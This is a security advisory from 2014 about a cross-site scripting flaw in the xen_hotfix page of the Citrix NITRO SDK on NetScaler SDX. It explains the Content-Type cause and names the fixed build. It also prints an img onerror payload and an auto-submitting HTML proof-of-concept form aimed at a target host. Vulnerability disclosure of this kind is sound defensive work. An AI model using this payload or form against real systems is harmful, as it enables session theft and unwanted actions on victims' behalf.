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Citrix NITRO SDK xen_hotfix page is vulnerable to Cross-Site Scripting
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Han Sahin, August 2014
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Abstract
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A Cross-Site Scripting vulnerability was found in the xen_hotfix page of
the Citrix NITRO SDK. This issue allows attackers to perform a wide
variety of actions, such as stealing the victim's session token or login
credentials, performing arbitrary actions on the victim's behalf, and
logging their keystrokes.
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Tested version
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This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9;,
other versions may also be affected.
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Fix
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Citrix reports that this vulnerability is fixed in NetScaler 10.5 build
52.3nc.
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Details
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https://www.securify.nl/advisory/SFY20140805/citrix_nitro_sdk_xen_hotfix_page_is_vulnerable_to_cross_site_scripting.html
The Cross-Site Scripting vulnerability exists because the REST interface returns an incorrect Content-Type HTTP response header. The interfaces states that the content returned is HTML, while in fact it is JSON. Due to this it is possible to cause browser to render the JSON response as HTML. User input included in the JSON response is JSON encoded, not HTML encoded. Due to this, it is possible to inject arbitrary HTML content in the JSON data that will be rendered and executed by the browser.
This issue is exploitable on the /nitro/v1/config/xen_hotfix page through the file_name parameter. Below is an example HTTP response in which this issue is demonstrated.
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Wed, 16 Jul 2014 13:54:53 GMT
{ "errorcode": 16004, "message": "Failed to obtain uuid for hotfix cmd.xsupdate<img src=a onerror=alert(document.cookie)>, error string = 'xe patch-upload file-name=\"\/root\/cmd.xsupdate<img src=a onerror=alert(document.cookie)>\"\r\nOperation failed. Error: file '\/root\/cmd.xsupdate<img src=a onerror=alert(document.cookie)>' does not exist\r\n\u001b]0;root@NetScaler-sdx:~\u0007[root@NetScaler-sdx ~]#'", "severity": "ERROR" }
Proof of concept:
<html>
<body>
<form id="form" method="POST" action="https://<target>/nitro/v1/config/xen_hotfix" enctype="text/plain">
<input type="hidden" name="object" value='{"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a [{"file_name"%3a" cmd.xsupdate<img%20src%3da%20onerror%3dalert(document.cookie)>"}]}' />
<input type="submit" value="submit">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
